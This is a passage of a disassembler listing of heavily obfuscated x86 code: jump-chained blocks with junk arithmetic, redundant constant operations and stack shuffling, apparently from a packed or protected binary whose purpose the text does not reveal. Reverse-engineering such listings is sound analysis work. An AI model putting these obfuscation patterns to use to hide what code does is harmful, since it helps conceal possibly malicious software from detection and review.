loc_5B4450:				; CODE XREF: sub_5A55E5+12A2Ej
		sub	edx, esi
		sub	edx, 13D86277h
		xchg	edx, esi
		jmp	loc_5B5069
; ---------------------------------------------------------------------------


loc_5B445F:				; CODE XREF: sub_5A55E5+11959j
		add	esp, 4
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_5BB134
; ---------------------------------------------------------------------------


loc_5B446D:				; CODE XREF: sub_5A55E5+160AFj
		push	646Ah
		mov	[esp+32h+var_32], ecx
		mov	ecx, ebx
		mov	eax, ecx
		mov	ecx, [esp+32h+var_32]
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		jmp	loc_5B5606
; ---------------------------------------------------------------------------


loc_5B448A:				; CODE XREF: sub_5A55E5+51CDj
		add	ebx, eax
		jmp	loc_5B2AB8
; ---------------------------------------------------------------------------


loc_5B4491:				; CODE XREF: sub_5A55E5+B9B0j
		sub	al, bl
		push	cx
		push	ebx
		push	edx
		mov	dl, 72h
		push	ebx
		jmp	loc_5B6228
; ---------------------------------------------------------------------------


loc_5B449F:				; CODE XREF: sub_5A55E5+B817j
		push	edx
		mov	dl, 0Eh
		mov	cl, dl
		jmp	loc_5B62D5
; ---------------------------------------------------------------------------


loc_5B44A9:				; CODE XREF: sub_5A55E5+AB99j
		xor	edx, 405A1843h
		not	edx
		xor	edx, 0A865C5D7h
		add	eax, edx
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		push	esp
		jmp	loc_5B6CA6
; ---------------------------------------------------------------------------


loc_5B44CA:				; CODE XREF: sub_5A55E5+6D67j
		pop	ebp
		xor	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		sub	[esp+14h+var_14], 263162B3h
		jmp	loc_5B28F6
; ---------------------------------------------------------------------------


loc_5B44E0:				; CODE XREF: sub_5A55E5+7A16j
		add	edx, esi
		pop	esi
		jmp	loc_5ABEDC
; ---------------------------------------------------------------------------


loc_5B44E8:				; CODE XREF: sub_5A55E5+5366j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5B17DC
; ---------------------------------------------------------------------------


loc_5B44F6:				; CODE XREF: sub_5A55E5+51A7j
		push	ecx
		jmp	loc_5B51FC
; ---------------------------------------------------------------------------


loc_5B44FC:				; CODE XREF: sub_5A55E5+17A2Fj
		pop	ebx
		jmp	loc_5B2846
; ---------------------------------------------------------------------------


loc_5B4502:				; DATA XREF: sub_5A55E5+41E7o
		mov	cx, word ptr [esp+10h+var_10]
		push	esi
		push	esp
		mov	esi, [esp+18h+var_18]
		jmp	loc_5AF824
; ---------------------------------------------------------------------------


loc_5B4510:				; CODE XREF: sub_5A55E5+8B52j
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		jmp	loc_5BE967
; ---------------------------------------------------------------------------


loc_5B451B:				; CODE XREF: sub_5A55E5+13D82j
		add	eax, 4
		add	eax, 4
		jmp	loc_5B20DD
; ---------------------------------------------------------------------------


loc_5B4528:				; CODE XREF: sub_5A55E5+F244j
		sub	ecx, edi
		pop	edi
		sub	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_5BA7EE
; ---------------------------------------------------------------------------


loc_5B453E:				; CODE XREF: sub_5A55E5+5CEFj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B4543:				; CODE XREF: sub_5A55E5+1259Ej
		xor	esi, 48793FDCh
		sub	esi, 73FE7CF5h
		add	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5A9DD2
; ---------------------------------------------------------------------------


loc_5B455D:				; CODE XREF: sub_5A55E5+DC3Cj
		add	esp, 4
		sub	ebx, 650D2DA4h
		sub	ebx, 55BD0033h
		add	ebx, eax
		push	ecx
		mov	ecx, 55BD0033h
		add	ebx, ecx
		pop	ecx
		add	ebx, 650D2DA4h
		pop	eax
		sub	esp, 4
		mov	[esp+2Eh+var_2E], ecx
		mov	ecx, 501255D8h
		not	ecx
		not	ecx
		jmp	loc_5AB202
; ---------------------------------------------------------------------------


loc_5B4598:				; CODE XREF: sub_5A55E5+CA9Ej
		push	ebx
		mov	ebx, 36FF35B8h
		jmp	loc_5AAC4B
; ---------------------------------------------------------------------------


loc_5B45A3:				; DATA XREF: sub_5A55E5+430Bo
		mov	ax, word ptr [esp+14h+var_14]
		push	2E01h
		mov	[esp+18h+var_18], ecx
		push	esp
		push	[esp+1Ch+var_1C]
		pop	ecx
		push	3494h
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, 7C951912h
		sub	ebp, 24AA4C63h
		jmp	loc_5BD4F1
; ---------------------------------------------------------------------------


loc_5B45D7:				; CODE XREF: sub_5A55E5+1313Aj
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 15763EEEh
		push	ebp
		mov	ebp, 388E7DA8h
		add	ebp, 1
		sub	ebp, 41162E89h
		xor	ebp, 28A6684Bh
		shl	ebp, 1
		shr	ebp, 6
		sub	ebp, 0ED88B251h
		sub	ebx, ebp
		jmp	loc_5BF223
; ---------------------------------------------------------------------------


loc_5B4609:				; CODE XREF: sub_5A55E5+F6DDj
		push	edi
		mov	edi, 4
		push	edx
		mov	edx, 7BDD1441h
		and	edx, 332D370Eh
		or	edx, 565A3B88h
		jmp	loc_5B3177
; ---------------------------------------------------------------------------


loc_5B4626:				; CODE XREF: sub_5A55E5+164D3j
		sub	ch, dl
		sub	ch, 88h
		pop	edx
		sub	al, ch
		jmp	loc_5B2B3F
; ---------------------------------------------------------------------------


loc_5B4633:				; CODE XREF: sub_5A55E5+13163j
		inc	esi
		and	esi, 46A41C82h
		shr	esi, 3
		shl	esi, 5
		jmp	loc_5B50BD
; ---------------------------------------------------------------------------


loc_5B4645:				; CODE XREF: sub_5A55E5+D000j
		mov	edx, 2
		sub	eax, edx
		pop	edx
		xor	eax, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], eax
		jmp	loc_5BD6AC
; ---------------------------------------------------------------------------


loc_5B4658:				; CODE XREF: sub_5A55E5+169E6j
		pop	edi
		push	eax
		jmp	loc_5AEB62
; ---------------------------------------------------------------------------


loc_5B465F:				; CODE XREF: sub_5A55E5+D0ADj
		xor	eax, 6A3D430Dh
		push	edi
		mov	edi, 9D0FB59h
		sub	eax, edi
		pop	edi
		jmp	loc_5B66DB
; ---------------------------------------------------------------------------


loc_5B4672:				; CODE XREF: sub_5A55E5+17864j
		mov	[esp+5Eh+var_60+2], ebp
		mov	ebp, 78E36123h
		jmp	loc_5ADD78
; ---------------------------------------------------------------------------


loc_5B467F:				; CODE XREF: sub_5A55E5+ADA7j
		pop	edx
		pop	eax
		add	esi, 3FC42551h
		push	edx
		push	470Bh
		jmp	loc_5BC3CC
; ---------------------------------------------------------------------------


loc_5B4692:				; CODE XREF: sub_5A55E5+13C7Ej
		mov	ecx, esp
		jmp	loc_5B82BC
; ---------------------------------------------------------------------------


loc_5B4699:				; CODE XREF: sub_5A55E5+18C03j
		add	eax, 4
		xchg	eax, [esp+5Ah+var_5C+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	2034h
		mov	[esp+5Ah+var_5C+2], ebp
		jmp	loc_5BB3A5
; ---------------------------------------------------------------------------


loc_5B46B1:				; CODE XREF: sub_5A55E5+6748j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5B93B6
; ---------------------------------------------------------------------------


loc_5B46B9:				; CODE XREF: sub_5A55E5+F961j
		pop	esi
		or	eax, eax
		jz	loc_5B5A36
		push	6100h
		jmp	loc_5BC9A7
; ---------------------------------------------------------------------------


loc_5B46CC:				; CODE XREF: sub_5A55E5+13C5Cj
		not	bl
		push	ecx
		mov	ch, 6Ch
		inc	ch
		add	ch, 63h
		neg	ch
		sub	ch, 21h
		jmp	loc_5B4077
; ---------------------------------------------------------------------------


loc_5B46E0:				; CODE XREF: sub_5A55E5+15FBEj
		pop	ebx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		or	dl, 4
		push	eax
		jmp	loc_5AF941
; ---------------------------------------------------------------------------


loc_5B46F0:				; CODE XREF: sub_5A55E5+C78Fj
		neg	bh
		not	bh
		or	bh, 0F3h
		push	eax
		mov	al, 25h
		add	bh, al
		pop	eax
		push	eax
		push	1374h
		jmp	loc_5B1A2B
; ---------------------------------------------------------------------------


loc_5B4708:				; CODE XREF: sub_5A55E5+B4CBj
		mov	[esp+24h+var_26+2], ebx
		add	[esp+24h+var_26+2], 3E0F4E6Ch
		pop	edi
		sub	edi, 3E0F4E6Ch
		pop	ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		jmp	loc_5B624C
; ---------------------------------------------------------------------------


loc_5B4728:				; CODE XREF: sub_5A55E5+90FDj
		xchg	ebp, edi
		sub	edi, 0A8F6BAAFh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5AB554
; ---------------------------------------------------------------------------


loc_5B473B:				; CODE XREF: sub_5A55E5+12670j
		xchg	ebx, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], edi
		push	ebx
		mov	ebx, 32F84E79h
		shl	ebx, 3
		push	eax
		mov	eax, 63222EADh
		xor	eax, 0CC24E2h
		add	eax, 3FB57D6Fh
		jmp	loc_5BC2DD
; ---------------------------------------------------------------------------


loc_5B4760:				; CODE XREF: sub_5A55E5+E92Cj
		mov	[esp+0], eax
		mov	al, ch
		push	ecx
		mov	ch, al
		mov	bl, ch
		jmp	loc_5AEDED
; ---------------------------------------------------------------------------


loc_5B476F:				; CODE XREF: sub_5A55E5+7ADAj
		push	edx
		jmp	loc_5B9FC8
; ---------------------------------------------------------------------------


loc_5B4775:				; CODE XREF: sub_5A55E5+9CABj
		mov	ch, dh
		pop	edx
		pop	ebx
		mov	dh, ch
		pop	ecx
		jmp	loc_5AE746
; ---------------------------------------------------------------------------


loc_5B4781:				; CODE XREF: sub_5A55E5+18427j
		xor	ch, 8Ch
		add	al, ch
		jmp	loc_5ADC97
; ---------------------------------------------------------------------------


loc_5B478B:				; CODE XREF: sub_5A55E5+4DEBj
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		mov	eax, [esp+18h+var_18]
		jmp	loc_5AF0FB
; ---------------------------------------------------------------------------


loc_5B47A8:				; CODE XREF: sub_5A55E5+14DB4j
		pop	[esp+18h+var_18]
		pop	esp
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], eax
		jmp	loc_5BCB3E
; ---------------------------------------------------------------------------


loc_5B47CF:				; CODE XREF: sub_5A55E5+577Aj
		add	esp, 4
		add	esi, 0E0CEF5E4h
		push	ebp
		mov	ebp, esi
		mov	eax, ebp
		jmp	loc_5BC11E
; ---------------------------------------------------------------------------


loc_5B47E2:				; CODE XREF: sub_5A55E5+A568j
		add	eax, ebx
		add	eax, 0B241CE1h
		push	6302h
		mov	[esp+24h+var_26+2], ebp
		mov	ebp, 5A8813F9h
		or	ebp, 594D3722h
		not	ebp
		xor	ebp, 7BCF235Ch
		push	edx
		mov	edx, 0C7106Bh
		or	ebp, edx
		pop	edx
		xor	ebp, 0A40EE1F1h
		add	eax, ebp
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A9E3F
; ---------------------------------------------------------------------------


loc_5B4823:				; CODE XREF: sub_5A55E5+E034j
		xor	edi, 0DEF8F6D7h
		jmp	loc_5B4528
; ---------------------------------------------------------------------------


loc_5B482E:				; CODE XREF: sub_5A55E5+16463j
		mov	ecx, 188CC5E6h
		push	6F1Ch
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 368D411Ch
		or	ebp, 30E14C77h
		add	ebp, 384F2BA5h
		sub	eax, ebp
		pop	ebp
		sub	eax, 7BCA3B73h
		sub	eax, ecx
		add	eax, 7BCA3B73h
		push	esi
		mov	esi, 6F3C7924h
		sub	esp, 4
		jmp	loc_5AA991
; ---------------------------------------------------------------------------


loc_5B4869:				; CODE XREF: sub_5A55E5+14FF9j
		sub	ebp, 2F9B601Ch
		push	esi
		mov	esi, 751B631Eh
		jmp	loc_5B8C96
; ---------------------------------------------------------------------------


loc_5B487A:				; CODE XREF: sub_5A55E5+15413j
		xor	esi, [esp+30h+var_32+2]
		pop	esp
		mov	word ptr [esp+2Ch+var_2E+2], cx
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		push	eax
		jmp	loc_5ADC55
; ---------------------------------------------------------------------------


loc_5B488E:				; CODE XREF: sub_5A55E5+F3C6j
		mov	eax, 58F93D79h
		sub	edi, eax
		pop	eax
		sub	edi, ebp
		add	edi, 58F93D79h
		push	edx
		mov	edx, 2CD14251h
		xor	edx, 41DD133Ah
		dec	edx
		jmp	loc_5B8A6E
; ---------------------------------------------------------------------------


loc_5B48B0:				; CODE XREF: sub_5A55E5+5432j
		pop	esi
		push	ebx
		mov	ebx, 2D057B68h
		neg	ebx
		sub	ebx, 105E4494h
		add	ebx, 0BA15329Ch
		xor	esi, ebx
		pop	ebx
		pop	edi
		not	esi
		dec	esi
		xor	esi, 0C33ADB69h
		add	ecx, esi
		pop	esi
		xor	ecx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ecx
		jmp	loc_5B68AD
; ---------------------------------------------------------------------------


loc_5B48E0:				; CODE XREF: sub_5A55E5+F4C7j
		pop	eax
		add	ebx, 53117FC3h
		add	ebx, eax
		sub	ebx, 53117FC3h
		sub	ebx, 71024BA3h
		xor	edx, eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B48FC:				; CODE XREF: sub_5A55E5+15401j
		xchg	edi, [esp+16h+var_18+2]
		jmp	loc_5B7131
; ---------------------------------------------------------------------------


loc_5B4904:				; CODE XREF: sub_5A55E5+DEFCj
		add	esp, 2
		sub	bp, 5556h
		jmp	loc_5BA7F4
; ---------------------------------------------------------------------------


loc_5B4911:				; CODE XREF: sub_5A55E5+96E5j
		push	dword ptr [ebx]
		xor	[esp+44h+var_46+2], 1701456h
		jmp	loc_5AEF4C
; ---------------------------------------------------------------------------


loc_5B491F:				; CODE XREF: sub_5A55E5+8EC4j
		mov	ecx, 5E5D3AD7h
		dec	ecx
		xor	ecx, 3F590F1Dh
		inc	ecx
		neg	ecx
		push	ebp
		push	ecx
		push	453825F5h
		pop	ecx
		neg	ecx
		add	ecx, 1
		or	ecx, 6BAB1723h
		jmp	loc_5AF095
; ---------------------------------------------------------------------------


loc_5B4946:				; CODE XREF: sub_5A55E5+14C0Ej
		add	ebx, esi
		add	ebx, 9AE4CD2h
		jmp	loc_5AE023
; ---------------------------------------------------------------------------


loc_5B4953:				; CODE XREF: sub_5A55E5+17D95j
		mov	word ptr [esp+28h+var_2A+2], dx
		mov	dh, 8Ah
		add	al, 7Ah
		sub	al, dh
		push	ebx
		jmp	loc_5B4BA2
; ---------------------------------------------------------------------------


loc_5B4963:				; CODE XREF: sub_5A55E5+7CF4j
		add	ebp, 4C321FC6h
		push	eax
		push	edi
		mov	edi, 105B1838h
		xor	edi, 68B56DAEh
		jmp	loc_5AEF1A
; ---------------------------------------------------------------------------


loc_5B497B:				; CODE XREF: sub_5A55E5+10D29j
		add	al, 6
		sub	al, 7Ch
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5BD376
; ---------------------------------------------------------------------------


loc_5B498D:				; CODE XREF: sub_5A55E5+10128j
		sub	esp, 4
		jmp	loc_5B7E8B
; ---------------------------------------------------------------------------


loc_5B4998:				; CODE XREF: sub_5A55E5+E45Ej
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	ebp
		mov	ebp, 464D79B4h
		add	edi, 66C05887h
		push	eax
		jmp	loc_5B488E
; ---------------------------------------------------------------------------


loc_5B49B0:				; CODE XREF: sub_5A55E5+EC1Fj
		or	bh, 0Fh
		push	eax
		push	ebx
		jmp	loc_5B768A
; ---------------------------------------------------------------------------


loc_5B49BA:				; CODE XREF: sub_5A55E5+9821j
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5AAA01
; ---------------------------------------------------------------------------


loc_5B49E0:				; CODE XREF: sub_5A55E5+1419Aj
		shl	edi, 2
		sub	edi, 987A99Ah
		add	ecx, edi
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		sub	ebp, 5965782h
		add	ebp, 4D7417DCh
		jmp	loc_5AF35D
; ---------------------------------------------------------------------------


loc_5B4A05:				; CODE XREF: sub_5A55E5+9088j
		pop	esi
		xchg	esi, ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		mov	esi, 6AE88254h
		add	ebx, esi
		mov	esi, [esp+20h+var_22+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+24h+var_26+2]
		jmp	loc_5B9620
; ---------------------------------------------------------------------------


loc_5B4A2F:				; CODE XREF: sub_5A55E5+18467j
		push	esi
		push	ebp
		jmp	loc_5B3D54
; ---------------------------------------------------------------------------


loc_5B4A36:				; CODE XREF: sub_5A55E5+16EC8j
		sub	al, ch
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5B2705
; ---------------------------------------------------------------------------


loc_5B4A40:				; CODE XREF: sub_5A55E5+BC0Cj
		mov	dh, al
		mov	bh, dh
		pop	edx
		mov	dh, bh
		pop	ebx
		push	ebx
		jmp	loc_5B02AA
; ---------------------------------------------------------------------------


loc_5B4A4E:				; CODE XREF: sub_5A55E5+12ED2j
		pop	ecx
		push	751Fh
		mov	[esp+4Eh+var_50+2], edx
		push	esp
		jmp	loc_5ABE88
; ---------------------------------------------------------------------------


loc_5B4A5D:				; CODE XREF: sub_5A55E5+1247Fj
		sub	ebp, 30E701E3h
		add	ebp, 1E30B44Bh
		sub	ebx, ebp
		jmp	loc_5BB7F0
; ---------------------------------------------------------------------------


loc_5B4A70:				; CODE XREF: sub_5A55E5+BB19j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebx
		sub	esp, 4
		jmp	loc_5BA79B
; ---------------------------------------------------------------------------


loc_5B4A7F:				; CODE XREF: sub_5A55E5+125D1j
		pop	edi
		sub	ebx, 2AC466F0h
		jmp	loc_5B139D
; ---------------------------------------------------------------------------


loc_5B4A8B:				; CODE XREF: sub_5A55E5+BD79j
		pop	edi
		add	ebx, 52775687h
		add	ebx, 67E15C4Ah
		add	ebx, eax
		sub	ebx, 67E15C4Ah
		sub	ebx, 52775687h
		sub	ebx, 5EA07686h
		jmp	loc_5B48E0
; ---------------------------------------------------------------------------


loc_5B4AB1:				; CODE XREF: sub_5A55E5+15A68j
		xchg	ebp, [esp+4Ah+var_4A]
		jmp	loc_5B1566
; ---------------------------------------------------------------------------


loc_5B4AB9:				; CODE XREF: sub_5A55E5+4C17j
		mov	[esp+24h+var_26+2], esi
		mov	esi, 4
		add	eax, esi
		push	[esp+24h+var_26+2]
		pop	esi
		jmp	loc_5B5894
; ---------------------------------------------------------------------------


loc_5B4ACC:				; CODE XREF: sub_5A55E5+191F8j
		pop	ecx
		jmp	loc_5B3FDF
; ---------------------------------------------------------------------------


loc_5B4AD2:				; CODE XREF: sub_5A55E5+1598Fj
		mov	[esp+20h+var_22+2], ebx
		push	eax
		mov	eax, 35310284h
		mov	ebx, eax
		pop	eax
		push	eax
		mov	eax, 37C623E1h
		mov	esi, 6CF72667h
		sub	esi, eax
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		sub	esi, ebx
		pop	ebx
		jmp	loc_5BC772
; ---------------------------------------------------------------------------


loc_5B4AFC:				; CODE XREF: sub_5A55E5+176A6j
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp+18h+var_18]
		jmp	loc_5B5BF5
; ---------------------------------------------------------------------------


loc_5B4B09:				; CODE XREF: sub_5A55E5+14DEBj
		pop	esp
		mov	[esp+14h+var_14], ebx
		mov	ebx, 171F4E5Ah
		jmp	loc_5AF531
; ---------------------------------------------------------------------------


loc_5B4B17:				; CODE XREF: sub_5A55E5+154F7j
		pop	esp
		push	ecx
		jmp	loc_5B0AB5
; ---------------------------------------------------------------------------


loc_5B4B1E:				; CODE XREF: sub_5A55E5+10188j
		push	edx
		jmp	loc_5AF90D
; ---------------------------------------------------------------------------


loc_5B4B24:				; CODE XREF: sub_5A55E5+14753j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5B6BE0
; ---------------------------------------------------------------------------


loc_5B4B2C:				; CODE XREF: sub_5A55E5+192BDj
		mov	ebp, [esp+14h+var_14]
		jmp	loc_5B5997
; ---------------------------------------------------------------------------


loc_5B4B34:				; CODE XREF: sub_5A55E5+164FDj
		pop	ebp
		pop	edx
		sub	edx, 6E7E2363h
		or	ecx, ecx
		jz	loc_5AC3F0
		push	4FCBh
		sub	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		pop	[esp+14h+var_14]
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+14h+var_14]
		jmp	loc_5B57DE
; ---------------------------------------------------------------------------


loc_5B4B7F:				; CODE XREF: sub_5A55E5+5523j
		add	bh, 0B3h
		pop	edx
		add	cl, bh
		pop	ebx
		sub	al, 85h
		add	al, cl
		add	al, 85h
		pop	ecx
		jmp	loc_5BDCC9
; ---------------------------------------------------------------------------


loc_5B4B92:				; CODE XREF: sub_5A55E5+13DD6j
		sub	ebp, 0FFFFFFFFh
		xchg	ebp, ebx
		sub	ebx, 0B2CC6D3Fh
		jmp	loc_5B1F44
; ---------------------------------------------------------------------------


loc_5B4BA2:				; CODE XREF: sub_5A55E5+F379j
		mov	bl, 15h
		jmp	loc_5B9130
; ---------------------------------------------------------------------------


loc_5B4BA9:				; CODE XREF: sub_5A55E5+7EF4j
		pop	ebx
		pop	eax
		add	esi, ebx
		pop	ebx
		jmp	loc_5AB55F
; ---------------------------------------------------------------------------


loc_5B4BB3:				; CODE XREF: sub_5A55E5+ED22j
		push	edx
		push	ebx
		mov	ebx, 25305C9h
		shr	ebx, 7
		xor	ebx, 32C10A1Ah
		dec	ebx
		jmp	loc_5AA660
; ---------------------------------------------------------------------------


loc_5B4BC9:				; CODE XREF: sub_5A55E5+16EE1j
		push	edi
		sub	esp, 4
		push	esp
		pop	[esp+40h+var_42+2]
		push	esi
		mov	esi, 4
		add	[esp+40h+var_3E+2], esi
		jmp	loc_5BDC92
; ---------------------------------------------------------------------------


loc_5B4BE3:				; CODE XREF: sub_5A55E5+98A5j
		sub	esi, edi
		pop	edi
		sub	esi, 5B1B60EAh
		add	esi, eax
		add	esi, 5B1B60EAh
		jmp	loc_5B5AC3
; ---------------------------------------------------------------------------


loc_5B4BF9:				; CODE XREF: sub_5A55E5+176F0j
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+2Ch+var_2E+2]
		jmp	loc_5AF17F
; ---------------------------------------------------------------------------


loc_5B4C04:				; CODE XREF: sub_5A55E5+865Cj
		add	ecx, edx
		pop	edx
		push	177Ch
		mov	[esp+4Ah+var_4A], ecx
		jmp	loc_5BDAC3
; ---------------------------------------------------------------------------


loc_5B4C14:				; CODE XREF: sub_5A55E5+19192j
		pop	ebp
		push	[esp+46h+var_46]
		jmp	loc_5B63DE
; ---------------------------------------------------------------------------


loc_5B4C1D:				; CODE XREF: sub_5A55E5+DC6Aj
		pop	eax
		xor	ecx, [esp+26h+var_26]
		xor	[esp+26h+var_26], ecx
		xor	ecx, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		imul	cx
		push	small 52DAh
		mov	word ptr [esp+28h+var_2A+2], dx
		push	ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B4C3D:				; CODE XREF: sub_5A55E5+146F9j
		push	esp
		jmp	loc_5BDEDD
; ---------------------------------------------------------------------------


loc_5B4C43:				; CODE XREF: sub_5A55E5+17E9Fj
		mov	ebp, [esp+32h+var_32]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_5BE57A
; ---------------------------------------------------------------------------


loc_5B4C55:				; CODE XREF: sub_5A55E5+15EA6j
		and	ebx, 31EA77D0h
		and	ebx, 75534459h
		xor	ebx, 0E35284Eh
		xor	ebx, 29A64789h
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ecx
		mov	ecx, 19476916h
		xchg	ebx, ecx
		dec	ebx
		xchg	ebx, ecx
		sub	ecx, 0E45968CFh
		sub	eax, ecx
		mov	ecx, [esp+3Ah+var_3A]
		jmp	loc_5BA133
; ---------------------------------------------------------------------------


loc_5B4C93:				; DATA XREF: sub_5A55E5+41E3o
		mov	ax, word ptr [esp+10h+var_10]
		push	ebp
		jmp	loc_5AA818
; ---------------------------------------------------------------------------


loc_5B4C9D:				; CODE XREF: sub_5A55E5+4615j
		add	esp, 4
		push	ebx
		mov	ebx, 6DA03CA1h
		inc	ebx
		push	esi
		push	eax
		mov	eax, 6DA03C9Eh
		jmp	loc_5B51A0
; ---------------------------------------------------------------------------


loc_5B4CB3:				; CODE XREF: sub_5A55E5+11459j
		add	edx, 4
		add	edx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5B4609
; ---------------------------------------------------------------------------


loc_5B4CC7:				; CODE XREF: sub_5A55E5+AB17j
		push	edi
		jmp	loc_5B52AB
; ---------------------------------------------------------------------------


loc_5B4CCD:				; CODE XREF: sub_5A55E5+5B64j
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		sub	ebp, 1
		push	edi
		push	5ED830D4h
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		mov	ecx, 6D6D0C78h
		shr	ecx, 4
		jmp	loc_5BB120
; ---------------------------------------------------------------------------


loc_5B4CFE:				; CODE XREF: sub_5A55E5+7FCDj
		pop	edi
		jmp	loc_5BE2E6
; ---------------------------------------------------------------------------


loc_5B4D04:				; CODE XREF: sub_5A55E5+12602j
		add	edx, eax
		jmp	loc_5B09A9
; ---------------------------------------------------------------------------


loc_5B4D0B:				; CODE XREF: sub_5A55E5+78D5j
		pop	edx
		sub	esi, (offset loc_5B3A86+4)
		push	esi
		jmp	loc_5BA922
; ---------------------------------------------------------------------------


loc_5B4D18:				; CODE XREF: sub_5A55E5+D4E2j
		add	ebx, 302E154Ah
		jmp	loc_5BF0BB
; ---------------------------------------------------------------------------


loc_5B4D23:				; CODE XREF: sub_5A55E5+8F04j
		sub	ch, al
		jmp	loc_5BBFB3
; ---------------------------------------------------------------------------


loc_5B4D2A:				; CODE XREF: sub_5A55E5+13200j
		add	esp, 4
		push	[esp+20h+var_22+2]
		mov	eax, [esp+24h+var_26+2]
		jmp	loc_5B25AF
; ---------------------------------------------------------------------------


loc_5B4D38:				; CODE XREF: sub_5A55E5+8201j
		pop	ebp
		sub	ebp, 24EC263Ch
		pop	eax
		push	ebp
		not	[esp+36h+var_36]
		pop	ebp
		jmp	loc_5B4DCC
; ---------------------------------------------------------------------------


loc_5B4D4A:				; CODE XREF: sub_5A55E5+706Aj
		pop	ecx
		push	ebx
		mov	ebx, 6EAD713Ah
		neg	ebx
		add	ebx, 68E515DAh
		push	ebp
		jmp	loc_5BCC03
; ---------------------------------------------------------------------------


loc_5B4D5F:				; CODE XREF: sub_5A55E5+13588j
		add	ebp, 9915EF7Ah
		jmp	loc_5BC04D
; ---------------------------------------------------------------------------


loc_5B4D6A:				; CODE XREF: sub_5A55E5+CD7Bj
		mov	bh, ch
		pop	ecx
		mov	al, bh
		jmp	loc_5B6BE6
; ---------------------------------------------------------------------------


loc_5B4D74:				; CODE XREF: sub_5A55E5+D82Fj
		mov	[esp+20h+var_22+2], edi
		mov	edi, 23DA4D3Ah
		or	ebp, edi
		jmp	loc_5BD448
; ---------------------------------------------------------------------------


loc_5B4D83:				; CODE XREF: sub_5A55E5+19A85j
		add	edi, 4
		sub	edi, 4
		jmp	loc_5B18A9
; ---------------------------------------------------------------------------


loc_5B4D91:				; CODE XREF: sub_5A55E5+11B3Bj
		sub	bl, 0CDh
		jmp	loc_5B1178
; ---------------------------------------------------------------------------


loc_5B4D99:				; CODE XREF: sub_5A55E5+115C3j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AFF2F
; ---------------------------------------------------------------------------


loc_5B4DA7:				; CODE XREF: sub_5A55E5+D1F6j
		mov	bl, al
		pop	eax
		jmp	loc_5BC3E1
; ---------------------------------------------------------------------------


loc_5B4DAF:				; CODE XREF: sub_5A55E5+BED3j
		xor	ebp, 494A5F5Ah
		shr	ebp, 3
		sub	ebp, 7E0B54D9h
		add	ebp, 9401501Fh
		add	edi, ebp
		pop	ebp
		jmp	loc_5B16EF
; ---------------------------------------------------------------------------


loc_5B4DCC:				; CODE XREF: sub_5A55E5+F760j
		add	ebp, 5923990Ah
		sub	esi, 537A22C7h
		jmp	loc_5BCC4A
; ---------------------------------------------------------------------------


loc_5B4DDD:				; CODE XREF: sub_5A55E5+9E9Ej
		mov	edx, 43FD0175h
		jmp	loc_5AF525
; ---------------------------------------------------------------------------


